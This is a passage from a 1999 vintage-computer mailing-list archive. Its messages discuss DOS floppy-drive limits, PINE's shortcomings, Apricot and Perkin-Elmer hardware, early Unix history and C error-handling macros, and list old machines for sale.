cable twist, such that each drive sees a particular drive select (it's the second select line) and the motor-on signal in the standard place. However, from the point of view of either drive, there is another motor signal on a pin which would otherwise be a select line for another drive. Thus you can't use all 4 drive selects, and hence only two drives per controller cable. Another way to look at it, is to assume that IBM wanted all drives to have the same jumper settings, including the drive select jumper. But instead of putting a twist in the cable which would just swap some of the select lines, they used a twist over a wider section. Unfortunately that also moves the motor control line to where a select line would normally be. Thus they need another motor control line somewhere else (where a drive select would be, obviously), and end up only being able to put half as many drives on the bus. -- Pete Peter Turnbull Dept. of Computer Science University of York From pete at dunnington.u-net.com Sat Jan 16 11:53:36 1999 From: pete at dunnington.u-net.com (Pete Turnbull) Date: Sun Feb 27 18:40:11 2005 Subject: OT? On Programming (was: Re: Computers for children) In-Reply-To: "Max Eskin" "Re: OT? On Programming (was: Re: Computers for children)" (Jan 15, 18:00) References: <199901152301.PAA17123@geocities.com> Message-ID: <9901161753.ZM2459@indy.dunnington.u-net.com> On Jan 15, 18:00, Max Eskin wrote: > Besides for this example, what do you feel is wrong with PINE? What do you > prefer? I would like to know since I'm an inexperienced Linux user, and > this is on-topic since PINE is over 10 years old. Mostly that it has a very broken idea of how to handle dates; it insists on parsing the date in the "From" line in order to validate it, and gets upset if it can't. When things go wrong, it has a habit of believing that two messages are in fact one (the one with the unparsable date being concatenated to the preceeding one). I also fail to see why pine, alone amongst the dozens(?) of mail programs around, has to have a control message at the top of a mailbox: a message which confuses anyone who subsequently uses another mailer; which gets moved to a different place if another mailer re-sorts the mailbox (making the control message useless to pine, which inserts another copy and actually displays the old one); and which typically gets removed by any POP3 server that accesses the mailbox for a remote user (so pine has to replace it again). It has a crazy insistence on having certain terminal capabilities in order to work... and refuses to run if they are not detected, despite the fact that it actually contains code to get round many of the things it claims to need (such as clear-to-end-of-line). There are also some bugs to do with clearing lines on terminals with a minimal set of capabilities -- notably when going backwards and forwards from the setup and addressbook menus. It's possible to get pine into a state where the display is unusable until you quit, reset the display (usually scrolling a screenful is enough, though) and restarting. It doesn't let you add headers other than a small set of pre-defined ones, which are sometimes necessary -- though beginners might not need to do that. IMNSHO, a mail program and a news program are two different things -- and pine's news capabilities are pretty poor. And, of course, it's BIG. Compare the size of a pine executable to the size of other MUAs on the same platform. It *does* have some nice features -- but for me, both as a user and a sysadmin, they're far outweighed by the shortcomings. -- Pete Peter Turnbull Dept. of Computer Science University of York From ai705 at osfn.org Sat Jan 16 13:36:06 1999 From: ai705 at osfn.org (Stephen Dauphin) Date: Sun Feb 27 18:40:11 2005 Subject: More than 4 Floppies under DOS (was Re: Merced - and the ol' Unix story) In-Reply-To: <9901161814.ZM2472@indy.dunnington.u-net.com> Message-ID: On Sat, 16 Jan 1999, Pete Turnbull wrote: > > *Why we are limited to 2 floppy drives in DOS > > Actually, you can have 4, if you have a controller at the secordary floppy > controller address as well as at the primaryfloppy controller address. I believe there were 4 floppy cards with or without hd. Jameco or JDR had them I think, but whether they still do I don't know. Refer to a slightly older catalog for exact specs and configurations. -- Stephen Dauphin From musicman38 at mindspring.com Sat Jan 16 14:12:48 1999 From: musicman38 at mindspring.com (Phil Clayton) Date: Sun Feb 27 18:40:11 2005 Subject: Kaypros and Osbornes References: Message-ID: <36A0F2C0.93AF78D8@mindspring.com> Doug Yowza wrote: On Fri, 15 Jan 1999, Joseph S. Barrera III wrote: > > Are Osbornes really that much harder to find than Kaypros? eBay currently > > seems awash in Kaypros for under $30... > eBay does not reflect reality, man. > Both machines were very popular in their time and have no collector value > beyond whatever sentimental value they have for you. > -- Doug Beg to differ, the Kaypro or Osborne I feel are considered a collectable by most computer enthusiasts.. Does not matter if Kaypro's are currently worth average $30.00 in eBay.. In 2010 they may be worth $300.00, and in 2100 they will truly be a museum piece for display.. Yes there are still many in circulation, but as the computer collector population grows they will become less available and therefore more valuable. I also feel that eBay does somewhat reflect or give an indication of market value. True Osborne 01's sometimes go for $600.00 on eBay, but these are usually purchased by someone (Like you said) for pure sentimental value.. However the average price is around $100.00.. So that is what I consider current market value.. Also does not matter if you get one at the local Thrift for $5.00, like I did, they thought it was a Portable Television.. A good example of a mass produced computer may be a Radio Shack Model One, These computers were everywhere in the Mid/late 80's , as PC's took over people began to throw them away. They were worthless to the masses.. Now in 1999 you have to really search around to find one at least in SW Florida.. I will take a guess and say 75% of all the TRS-80 M-1 computers have been thrown away.. The remaining 25% are in the hands of collectors, and as the computer collector population grows so will the value of the limited units available.. The exception may be the Commodore 64 computer. In the year 2100 (I am convinced) people will still be selling these things at Yard Sales.. My guess is that there is still at least one of these units in everyones closet in 1999.. !!! Phil... From pete at dunnington.u-net.com Sat Jan 16 14:13:29 1999 From: pete at dunnington.u-net.com (Pete Turnbull) Date: Sun Feb 27 18:40:11 2005 Subject: Apricot F10 In-Reply-To: George Rachor "Apricot F10" (Jan 16, 10:42) References: Message-ID: <9901162013.ZM2642@indy.dunnington.u-net.com> On Jan 16, 10:42, George Rachor wrote: > Subject: Apricot F10 > Spotted a curious find last night... > > It was labeled Apricot F10. > > It was narrow and had a minidisk slot in the front. In the back it had > what looked like a rca jack (Video?), a parallel port (Centronics) a nine > pin(serial) and something like a DB25. > > I suspect this is an expansion unit for the apricot line as I saw no > obvious keyboard port unless it was the DB-25... I don't think it's an expansion unit; I'm pretty sure it's a complete computer, except that it's not complete in this case :-) It sounds very like an F1, so perhaps the connections are similar. On the back of an F1, there's a 25-pin D serial port, a 9-pin D colour monitor connector, an RCA jack mono (composite video) monitor socket, centronics parallel port on the bottom, and a pair of power connectors higher up. The main power socket is an IEC style, and there's a 12V power input for use with an Apricot mono monitor as well. The keyboard connection on an F1 is by an infrared link. There's an IR sensor on the front, and a fibre optic connector as well, for situations where the sensor picks up too much interference. Perhaps the F10 also has an unusual keyboard connection on the front? -- Pete Peter Turnbull Dept. of Computer Science University of York From siconic at jasmine.psyber.com Sat Jan 16 14:17:00 1999 From: siconic at jasmine.psyber.com (Vintage Computer Festival) Date: Sun Feb 27 18:40:11 2005 Subject: victor 9000 (also called Sirius) (fwd) Message-ID: Here's someone in Belgium wanting to get rid of a Victor 9000. It was an early 80's 8086-based machine that came out before the PC but eventually was PC-compatible. It was actually a much better machine than the PC and had many interesting innovations, but we all know the story. Please respond to the owner directly. Reply-to: phonelinks@skynet.be ---------- Forwarded message ---------- Date: Thu, 14 Jan 1999 16:03:26 +0100 From: Fabrizio Franzi' Subject: victor 9000 (also called Sirius) Hello, I wonder if anyone would anybody have an interest in a "new" Victor 9000. 256KRAM, 2 double-speed 1.2 MB 5 1/4" FDs, monochrome screen, qwerty keyboard. Used to run cp/m 86 and ms-dos 2.0. I'm in Belgium (Brussels) -- kind regards Fabrizio Franzì --------------------------------------------- e-mail: phonelinks@skynet.be voice: +32 2 347 2566 gsm: +32 75 474775 fax: +32 2 372 2258 or +32 2 347 2471 Sellam Alternate e-mail: dastar@verio.com ------------------------------------------------------------------------------- Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0! See http://www.vintage.org/vcf for details [Last web site update: 01/15/99] From roblwill at usaor.net Sat Jan 16 17:16:58 1999 From: roblwill at usaor.net (Jason Willgruber) Date: Sun Feb 27 18:40:11 2005 Subject: Anyone have an extra IBM 5155 laying around?? Message-ID: <01be41a6$51a99f40$LocalHost@THEGENERAL> My teacher had replaced the XT motherboard with a 5150 board when the HD and floppies quit, so that ROM BASIC could be used with the cassette port. -- -Jason Willgruber (roblwill@usaor.net) ICQ#: 1730318 -----Original Message----- From: Tony Duell To: Discussion re-collecting of classic computers Date: Saturday, January 16, 1999 9:22 AM Subject: Re: Anyone have an extra IBM 5155 laying around?? >> I'm not necessarily concerned about originally, just as long as the monitor, >> P/S, and keyboard work, and it's in fairly good condition ( I have a bunch >> of parts). I'm basically looking for it for sentimental value, since a 5155 >> was the first IBM-compatible computer that I used. It was in the elementary >> school that I went to, and neither the floppies or HD worked, so all it ran >> was ROM BASIC, and saved the programs on cassette. Since I had an old > >This bothers me. The 5155 (I have one, although not up for grabs) uses an >XT motherboard, and AFAIK it never had a cassette port. Yes, there was >ROM basic, but no way to save from it. The only way you could have used a >cassette would be if somebody had designed an expansion card that grabbed >INT15 (I think) and implemented the cassette port. If that card ever >existed, then I want one! > >There never was an official IBM hard disk, but plenty of people put a >short-length controller card in the machine together with a half-height >hard drive. > >-tony > > From adavie at mad.scientist.com Sat Jan 16 14:36:34 1999 From: adavie at mad.scientist.com (Andrew Davie) Date: Sun Feb 27 18:40:11 2005 Subject: Apricot F10 In-Reply-To: Message-ID: <000301be418f$e87d3100$1ff438cb@a.davie> I have an Apricot computer. Not sure if its an F10 The keyboard on mine is infra-red, explaining the lack of a KB port. Long, about 18", narrow - about 6" Comes with a neat little monitor sits on top of the unit. Unusual, attractive design. A -- adavie@mad.scientist.com visit the Museum of Soviet Calculators at http://www.comcen.com.au/~adavie/slide/calculator/soviet.html ? ? > -----Original Message----- > From: CLASSICCMP-owner@u.washington.edu > [mailto:CLASSICCMP-owner@u.washington.edu]On Behalf Of George Rachor > Sent: Sunday, January 17, 1999 5:42 AM > To: Discussion re-collecting of classic computers > Subject: Apricot F10 > > > Spotted a curious find last night... > > It was labeled Apricot F10. > > It was narrow and had a minidisk slot in the front. In the back it had > what looked like a rca jack (Video?), a parallel port (Centronics) a nine > pin(serial) and something like a DB25. > > I suspect this is an expansion unit for the apricot line as I saw no > obvious keyboard port unless it was the DB-25... > > Anybody recognize this? > > George Rachor > > ========================================================= > George L. Rachor george@racsys.rt.rain.com > Beaverton, Oregon http://racsys.rt.rain.com > United States of America Amateur Radio : KD7DCX > > From pechter at monmouth.com Sat Jan 16 14:40:19 1999 From: pechter at monmouth.com (Bill Pechter) Date: Sun Feb 27 18:40:11 2005 Subject: Merced - and the ol' Unix story (was Re: OT, but info needed: RAM uprade) In-Reply-To: <9901161914.ZM2528@indy.dunnington.u-net.com> from Pete Turnbull at "Jan 16, 99 07:14:32 pm" Message-ID: <199901162040.PAA11898@pechter.nws.net> > > That was DEC, when they were first plugging Ultrix. > > DEC may have done so, but they originally came from Armando Stettner, one > of the early Unix developers, at one of the unix conferences. I don't > think Ultrix goes quite as far back as 1980? > > -- > > Pete Peter Turnbull > Dept. of Computer Science > University of York > > Actually, it was DEC, who had a Unix support group working to help market to Unix users before Ultrix. Stettner, I believe, worked in that group. DEC revived the license plates as a prize give-away at Unix expo... at the OSF/1->Digital Unix timeframe. A couple of years ago I won one. Bill --- Bill Gates is a Persian cat and a monocle away from being a villain in a James Bond movie -- Dennis Miller bpechter@shell.monmouth.com|pechter@pechter.nws.net|pechter@pechter.ddns.org From spc at armigeron.com Sun Jan 17 14:39:39 1999 From: spc at armigeron.com (Sean 'Captain Napalm' Conner) Date: Sun Feb 27 18:40:11 2005 Subject: OT? On Programming (was: Re: Computers for children) In-Reply-To: from "Tony Duell" at Jan 15, 99 07:29:17 pm Message-ID: <199901172041.PAA06995@armigeron.com> A non-text attachment was scrubbed... Name: not available Type: text Size: 1273 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990117/8af6cdc5/attachment.ksh From pechter at monmouth.com Sat Jan 16 14:53:36 1999 From: pechter at monmouth.com (Bill Pechter) Date: Sun Feb 27 18:40:11 2005 Subject: thoughts on UNIX and older systems In-Reply-To: <199901161742.LAA22341@wildride.netads.com> from Miles O'Neal at "Jan 16, 99 11:42:42 am" Message-ID: <199901162053.PAA11955@pechter.nws.net> > All this noise about the younger OSes (Linux, FreeBSD) > got me thinking. I vaccilate between amused and annoyed > over the bickering between the Linux and FreeBSD contingents. > That kind of thing is part of the reason Windoze owns as > much of the matket as it does. I realize nobody could > predict the way it would take off, but when MS first started > to own the desktop, the *users* of UNIX should have started > cooperating. But instead, they went along with the vendor > factions, and Windoze won. > > Yeah, I know, it was somewhat inevitable. But I don't think > it would have been quite as bad as it is. So learn from > history. Feel free to argue in private, but in public, I'd > push the overall UNIX-like OS, with just a recommendation. > > Of course, it's a good feeling to even have the option. > Because 10 - 12 years ago, what were your UNIX options, if > you weren't the government or a university? > > 1) You could buy expensive hardware that ran a UNIX variant. Very expensive. > 2) You bought a workstation from Sun or Apollo - still not cheap. As above. > 3) If you were lucky, you got one of the few Cromemcos or > Perkin-Elmer desktops, that ran UNIX. But they weren't > much less expensive than the Sun, Apollo, etc workstations. > (Fortune's desktops were in the workstation price range.) The machine's maxed out at 2.5 mb of memory for the XF-200's. The 7300's and 7350's originally maxed out at .5mb. The Perkin-Elmers were just 68000-8mhz. Dog slow. No virtual memory. Slow as death graphics. They existed to control Perkin-Elmer lab stuff for lab automation. They were mostly replaced by DEC MicroVaxes after Perkin-Elmer got out of the computer business. We had the problem of management not supporting faster models because the Versabus couldn't run faster with their hardware without bus timing problems. Perkin-Elmer/Concurrent ran into a lot of problems with Unix because they didn't do virtual memory until they purchased Masscomp in 1987-88. Masscomp ran their own OS called RTU Real Time Unix. (A SysIII varient with Berkeley and DEC extensions (picked up from RSX/11). Perkin-Elmer desktops also were running one of three OS's: Idris. Uniplus Sys III MicroXelos (UniPlus Sys V) Their larger mini's ran: Edition VII Xelos (SysV rel 0 through SVR2 - swapping only no virtual memory paging) OS/32 > 4) If you were really lucky, you found a good deal on a used > PDP from someone with a UNIX license who forgot to wipe the > disks or tapes - but then you were illegal. Or in this area you found a machine owned by some AT&T employee who pirated a tape 8-). I kept looking but never found one. > 5) You bought Minix. Minix was cheap, and you got source, but > it was really meant to be a teaching tool. It was well done, > but extremely limited. (Nevertheless, Tanenbaum's _Operating > Systems Design and Implementation_ is still an excellent book.) Minix 1.3 was very limited. V1.5 was better. > 6) If you were *really* lucky, you got a good deal on a working > workstation. > Just got my first Sparc this year 8-) > Just out of curiosity, does anyone have a Perkin-Elmer desktop > running Linux? IIRC, it was pretty much a straight port of > whatever was current from bell Labs at the time - or maybe an > older version. > But the hardware wan't close to anything there's current drivers for. And it wasn't a 68020 so forget Linux. > -Miles > Bill ex-DEC, eX-Concurrent Computer (who was Perkin-Elmer's computer group) ex-IBM. Currently at Bell Labs. --- Bill Gates is a Persian cat and a monocle away from being a villain in a James Bond movie -- Dennis Miller bpechter@shell.monmouth.com|pechter@pechter.nws.net|pechter@pechter.ddns.org From ard at p850ug1.demon.co.uk Sat Jan 16 13:50:28 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:11 2005 Subject: Apricot F10 In-Reply-To: from "George Rachor" at Jan 16, 99 10:42:06 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 759 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990116/f0148a15/attachment.ksh From spc at armigeron.com Sun Jan 17 14:52:04 1999 From: spc at armigeron.com (Sean 'Captain Napalm' Conner) Date: Sun Feb 27 18:40:11 2005 Subject: Computers for children In-Reply-To: <3.0.16.19990115141143.4a57cc5e@ricochet.net> from "Uncle Roger" at Jan 15, 99 03:16:47 pm Message-ID: <199901172053.PAA07030@armigeron.com> A non-text attachment was scrubbed... Name: not available Type: text Size: 2323 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990117/372798fc/attachment.ksh From ckaiser at oa.ptloma.edu Sat Jan 16 15:10:39 1999 From: ckaiser at oa.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 18:40:11 2005 Subject: Computers for children In-Reply-To: <199901172053.PAA07030@armigeron.com> from "Sean 'Captain Napalm' Conner" at Jan 17, 99 03:52:04 pm Message-ID: <199901162110.NAA13804@oa.ptloma.edu> A non-text attachment was scrubbed... Name: not available Type: text Size: 826 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990116/841b9425/attachment.ksh From ckaiser at oa.ptloma.edu Sat Jan 16 15:12:57 1999 From: ckaiser at oa.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 18:40:11 2005 Subject: OT? On Programming (was: Re: Computers for children) In-Reply-To: <9901161753.ZM2459@indy.dunnington.u-net.com> from "Pete Turnbull" at Jan 16, 99 05:53:36 pm Message-ID: <199901162112.NAA18740@oa.ptloma.edu> A non-text attachment was scrubbed... Name: not available Type: text Size: 921 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990116/05121539/attachment.ksh From pechter at monmouth.com Sat Jan 16 15:08:57 1999 From: pechter at monmouth.com (Bill Pechter) Date: Sun Feb 27 18:40:11 2005 Subject: ISP mania -- can't change editor In-Reply-To: <36A0332E.64AC65FB@cnct.com> from Ward Donald Griffiths III at "Jan 16, 99 01:35:26 am" Message-ID: <199901162108.QAA12179@pechter.nws.net> > The only mail program I can use in terminal mode with my ISP is PINE. > I despise it, especially the fewkin editor, PICO, (sumbitch won't let > me use vi to edit messages). I'm scheduled to get a cablemodem > installed in three weeks, when _I_ start making those decisions (and > maybe get a decent newsfeed -- an even bigger gripe I've got with my > ISP). (Hell, even with Tandy Xenix 15+ years ago, I could set my > editor for mail's ~v command -- never had to, since vi was my > preferred editor then and now). > -- > Geez... just create a pinerc with vi in it. Hell, compile your own mail reader. What's the shell account have in it. What architecture. I'll compile you something and mail it to you. Bill --- Bill Gates is a Persian cat and a monocle away from being a villain in a James Bond movie -- Dennis Miller bpechter@shell.monmouth.com|pechter@pechter.nws.net|pechter@pechter.ddns.org From g at kurico.com Sat Jan 16 15:19:33 1999 From: g at kurico.com (George Currie) Date: Sun Feb 27 18:40:11 2005 Subject: Computers for children In-Reply-To: <199901172053.PAA07030@armigeron.com> References: <3.0.16.19990115141143.4a57cc5e@ricochet.net> from "Uncle Roger" at Jan 15, 99 03:16:47 pm Message-ID: I often will use the following: #define ERRIF(cond,target) if (cond) goto target #define ERRHANDLER(target) target: and you would use it like so: while (looper) { do stuff; ERRIF(readData,ERROR_DATAREAD); do more stuff; } return SUCCESS; ERRHANDLER(ERROR_DATAREAD) closeFile(); do some other cleanup return RC_DATAREAD; An interesting way to use it is as follows: ERRIF(openFile(),ERROR_OPENFILE); ERRIF(allocMem(),ERROR_ALLOCMEM); ERRIF(readFile(),ERROR_READ); closeFile(); // yeah I know return SUCCESS; ERRHANDLER(ERROR_READ) freeMem(); // free the buffer, now this will fall //through to close the file ERRHANDLER(ERROR_ALLOCMEM) closeFile(); ERRHANLDER(ERROR_OPENFILE) return RC_ERROR; This is a simplified view (the macros I have are quite extensive), but you get the idea. I find this to be a very intuitive (of course since I made it up) and useful. There are still a few situations it doesn't handle well but it really helps, esp. avoiding the forever nested tests for errors. George > It was thus said that the Great Uncle Roger once stated: > > > > >and while loops (I rarely use for's), but C really suffers from a lack > > >of a general error trapping mechanism that one can invoke to break out > > >of loops as required. Sometimes I think goto's are the answer but I > > >can never find an appropriate way to implement it. > > > > errflag := 0 /* is it := in C to assign a value? */ > > No, it's a simple `='. Comparrisons are done using `=='. > > > DO WHILE variable < end AND errflag = 0 { > > do stuff > > variable++ /* I think that increments a variable */ > > IF error THEN > > errflag := 1 > > ENDIF > > LOOP > > > > IF errflag = 1 THEN > > do error processing > > ENDIF > > C does include a `break' keyword, which breaks out of an enclosing > `while', `do' or `for' loop, but it has limited scope: > > while(a) > { > while(b) > { > break; /* break out of b */ > } > /* still stuck here in a */ > } > > And if it's an error condition, you often have to set a flag to be > tested > outside the loop anyway: > > while(a) > { > rc = processing(); > if (rc == ERROR) break; > if (rc == DONE) a = FALSE; > } > > if (rc == ERROR) /* handle error */ > { > } > > It takes quite a bit of thought to avoid this double testing (as I call > it). One way would be to move the error handling code to where you detect > the error and then break out fo the loop: > > while(a) > { > rc = processing(); > if (rc == ERROR) > { > /* handle error */ > break; > } > if (rc == DONE) a = FALSE; > } > > Another way is to write code such that errors can only happen in limited > areas. For instance, in C, to allocate memory, you typically do: > > p = malloc(SOMESPACE); > if (p == NULL) > { > /* handle out of memory error */ > } > > I wrote a wrapper function MemAlloc() that calls malloc(), but if > there's > no memory, aborts the program (default case, you can override that > behavior if need be), otherwise returns the memory. So I know that all my > calls to MemAlloc() will succeed (because it never returns if it fails). > > Over the past year I've developed what amounts to an exception mechanism > for C that's fairly decent (given the constraints I have to work with), so > it can be done, you just need to be a bit creative when it comes to > coding. > > -spc (I've also done templates in C, but that's another story ... ) > From cmcmanis at freegate.com Sat Jan 16 15:29:27 1999 From: cmcmanis at freegate.com (Chuck McManis) Date: Sun Feb 27 18:40:11 2005 Subject: UNIX License plate In-Reply-To: References: <199901161117.DAA16032@geocities.com> Message-ID: <4.1.19990116132726.00a06920@208.226.86.10> At 06:36 AM 1/16/99 -0500, you wrote: >ObCC: Around 1980 or so, I knew somebody with a license plate that said >"Unix: Live Free or Die". Was this issued by Bell Labs? And who has one >they'd like to sell? The New Hampshire vanity plate (state motto "Live Free or Die") UNIX was registered to Bill Shannon who worked at Sun (still does actually). Some vendor did some fake plates for one of the Uniforum conferences but I don't know if Bill got any royalties :-) --Chuck From meo at netads.com Sat Jan 16 15:34:41 1999 From: meo at netads.com (Miles O'Neal) Date: Sun Feb 27 18:40:11 2005 Subject: Merced - and the ol' Unix story (was Re: OT, but info needed: RAM uprade) In-Reply-To: <9901161814.ZM2472@indy.dunnington.u-net.com> from "Pete Turnbull" at Jan 16, 99 06:14:07 pm Message-ID: <199901162134.PAA23518@wildride.netads.com> Someone asked: | *Why we are limited to 2 floppy drives in DOS The same reason there are absurd memory limitations, etc. Someone wasn't thinking very far ahead. ``Why would anyone *ever* need more than [amount] [thing]?'' The problem was that the people doing the PC development weren't looking at micros as real computers. They saw them as little more than toys - they just happened to be toys you could sell to companies to put on the desktop. Very few people in the computing world at the time really expected micros to replace anything. The policy makers still foresaw all the ``real work'' being done on mainframes and minis. I can prett well guarantee you that nobody was any more surprised than IBM at the revoltioon - and its impact on the mainframe and minicomputer marketplace. -Miles From meo at netads.com Sat Jan 16 15:36:20 1999 From: meo at netads.com (Miles O'Neal) Date: Sun Feb 27 18:40:11 2005 Subject: More than 4 Floppies under DOS (was Re: Merced - and the ol' Unix story) In-Reply-To: from "Stephen Dauphin" at Jan 16, 99 02:36:06 pm Message-ID: <199901162136.PAA23533@wildride.netads.com> Stephen Dauphin said... | |I believe there were 4 floppy cards with or without hd. Jameco or JDR had |them I think, but whether they still do I don't know. Refer to a slightly |older catalog for exact specs and configurations. They were available from a number of vendors. Cromemco referenced drives C: and D: in their docs. But most people didn't see the need to spend the money... From meo at netads.com Sat Jan 16 15:55:26 1999 From: meo at netads.com (Miles O'Neal) Date: Sun Feb 27 18:40:11 2005 Subject: thoughts on UNIX and older systems In-Reply-To: <199901162053.PAA11955@pechter.nws.net> from "Bill Pechter" at Jan 16, 99 03:53:36 pm Message-ID: <199901162155.PAA23639@wildride.netads.com> Bill Pechter said... |The 7300's and 7350's originally maxed out at .5mb. That's what we looked at - a beta 7350A, I think. |The Perkin-Elmers were just 68000-8mhz. Dog slow. No virtual memory. |Slow as death graphics. Everything about that system was slow. It was my first experience with UNIX, and I was underwhelmed. I ran into memory problems all the time - and I was just goofing around trying to learn the thing. |We had the problem of management not supporting faster models because |the Versabus couldn't run faster with their hardware without bus timing |problems. Someone was doing something weird. We had another VersaBus system by someone else, and it was much faster. It was also 68K based, and a 68K is an OK processor if you run decent code on it. Not great, but OK... |Perkin-Elmer/Concurrent ran into a lot of problems with Unix because they |didn't do virtual memory until they purchased Masscomp in 1987-88. |Masscomp ran their own OS called RTU Real Time Unix. |(A SysIII varient with Berkeley and DEC extensions (picked up from RSX/11). Didn't Masscomp have the first realtime version of X that was any good? |Perkin-Elmer desktops also were running one of three OS's: |Idris. |Uniplus Sys III |MicroXelos (UniPlus Sys V) I recall all of these, but never actually got to mess with them. [Minis ran:] |OS/32 This was a lot of fun. Oh, it had its drawbacks, but it was still pretty cool. A nice, realtime OS. We had a few more problems with them than with the MODCOMPs, hardware-wise, tho. But overall they were pretty solid. For those who don't know, OS/32 was a very monolithic OS. All the common commands, such as "dir", were built into the kernel. Working late, wandering through the kernel in the hex editor or debugger or something (while it was running; these really were marvelous systems) looking for some table I needed to check a value in, I found the headings for all the columns of the "dir command". One of the columns of output was a combination file type/status field. I swapped all the symbols around, so that files which would have shown as FTN (FORTRAN) displayed as DEL (DELeted). [This example is approximate - it's been 15 years now...] An hour or so later I got a very satisfying scream out a co-worker. Of course, he knew at once who it was! I have lots of PE stories, but I'll save them for later. 8^) |> Just out of curiosity, does anyone have a Perkin-Elmer desktop |> running Linux? IIRC, it was pretty much a straight port of |> whatever was current from bell Labs at the time - or maybe an |> older version. | |But the hardware wan't close to anything there's current drivers for. |And it wasn't a 68020 so forget Linux. I meant UNIX. Sorry. Did you know any of the PE guys in Atlanta in the early 80s? -Miles From marvin at rain.org Sat Jan 16 16:01:56 1999 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:40:11 2005 Subject: Todays Finds References: <199901162136.PAA23533@wildride.netads.com> Message-ID: <36A10C54.743CBB22@rain.org> I got a call on the radio from another ham checking out garage sales, and he told me about a Unix machine. When I went over, the machine turned out to be an IBM RT with docs and disks! There was also a Compucorp 675 that I was told was a dedicated word processor (no docs.) The guy wanted $15 for the RT and was giving away the Compucorp so I gave him $20 *after* I told him I have so many machines I don't usually buy them, and we had a nice talk. He will see if there are any docs for it and he will be talking to others that have been in the business since the late '70s and early '80s. Went to the club station where I was given a Mac IIvx (OT? as I have no idea what era it is from.) Another guy had just visited the local scrap yard and gave me 3 IBM Convertibles w/ no power supplies. All in all, not a bad day! Anyone know anything about the Compucorp 675? From dastar at ncal.verio.com Sat Jan 16 16:45:34 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:40:11 2005 Subject: TRS-80 Model 12 Message-ID: Found this on a web-site: Radio Shack TRS80 model 12 brand new, sealed box Tuesday, 03-Nov-98 09:06:02 Message: 205.188.193.39 writes: Brand new, in un-opened sealed box, Radio Shack TRS80 Model 12 microcomputer for sale, also used ones available. E-mail or call to 773-935-7080 ext. 205 Attn: Darius Augustine Darius Augustine Tel: 773-935-7080 ext. 205 Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 01/15/99] From dastar at ncal.verio.com Sat Jan 16 16:46:40 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:40:11 2005 Subject: PDP 11/34 in Belgium Message-ID: And this one too: pdp 11/34 Monday, 02-Nov-98 15:45:05 Message: 193.74.7.181 writes: I have a complete pdp11/34 with removable hardddisks puncher reader deckpack rk05f rk05j deckpack 28 .attention its a very old one buth he is complete.it's in belgium david_evi@hotmail.com Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 01/15/99] From kurtkilgor at bigfoot.com Sat Jan 16 16:56:33 1999 From: kurtkilgor at bigfoot.com (Max Eskin) Date: Sun Feb 27 18:40:11 2005 Subject: thoughts on UNIX and older systems Message-ID: <199901162259.OAA25788@geocities.com> > Here's an analogy for you: > > Linux = DOS > FreeBSD = CP/M > > Therefore, Linux will come to dominate the world. So don't worry. I'm sorry, but I don't know the vital distinction between the two, and would like to find out. As I understand, Linux is somewhat less secure and less stable; but what else? And why is Linux less secure/stable? From roblwill at usaor.net Sat Jan 16 20:12:54 1999 From: roblwill at usaor.net (Jason Willgruber) Date: Sun Feb 27 18:40:11 2005 Subject: Todays Finds Message-ID: <01be41be$e4a89e00$438ea6d1@the-general> Hi! Want to sell one of the Convertibles? It doesn't matter that there's no power supply, or even if it works or not. I collect old laptops, and the Convertible is one of the ones that I don't have. ThAnX, -- -Jason Willgruber (roblwill@usaor.net) ICQ#: 1730318 -----Original Message----- From: Marvin To: Discussion re-collecting of classic computers Date: Saturday, January 16, 1999 2:03 PM Subject: Todays Finds >I got a call on the radio from another ham checking out garage sales, and he >told me about a Unix machine. When I went over, the machine turned out to >be an IBM RT with docs and disks! There was also a Compucorp 675 that I was >told was a dedicated word processor (no docs.) The guy wanted $15 for the >RT and was giving away the Compucorp so I gave him $20 *after* I told him I >have so many machines I don't usually buy them, and we had a nice talk. He >will see if there are any docs for it and he will be talking to others that >have been in the business since the late '70s and early '80s. Went to the >club station where I was given a Mac IIvx (OT? as I have no idea what era it >is from.) Another guy had just visited the local scrap yard and gave me 3 >IBM Convertibles w/ no power supplies. All in all, not a bad day! > >Anyone know anything about the Compucorp 675? > From donm at cts.com Sat Jan 16 17:22:08 1999 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 18:40:11 2005 Subject: Merced - and the ol' Unix story (was Re: OT, but info needed: , RAM uprade) In-Reply-To: <9901161814.ZM2472@indy.dunnington.u-net.com> Message-ID: On Sat, 16 Jan 1999, Pete Turnbull wrote: > On Jan 15, 19:35, Max Eskin wrote: > > > In fact, I've always found the limitations of DOS and PCs curious. Does > > anyone know why: > > > > *They refuse to boot from anything but A: or C: > > *DOS FDISK refuses to create more than 1 primary partition > > *DOS can't find an ATAPI cd-rom without a driver, even though it's an IDE > > device > > Pass. > > > *Why we are limited to 2 floppy drives in DOS > > Actually, you can have 4, if you have a controller at the secordary floppy > controller address as well as at the primaryfloppy controller address. > Each controller can only have two drives because of a silly hardware setup > chosen by IBM. Actually, you can have a lot more than that, given the right controllers. I have one machine with six different floppy drives operable. With the MicroSolutions CompatiCard IV - regrettably, no longer manufactured - you could have up to sixteen drives, four each controlled by one of four of the cards. I don't really know why you might want that many drives, but it is possible. - don > On a normal SA400-style interface, there are 4 drive selects, and one of > each other control signal; each control signal is normally gated (on the > drive) with the approriate select line. IBM chose to use an arrangement > where completely separate motor-on signals were provided for the two > drives. The way they did this was to arrange the signals in the cable such > that one drive used a particular drive select and the motor signal in the > standard place, and the other drive used a different select with the moror > signal on a different wire. 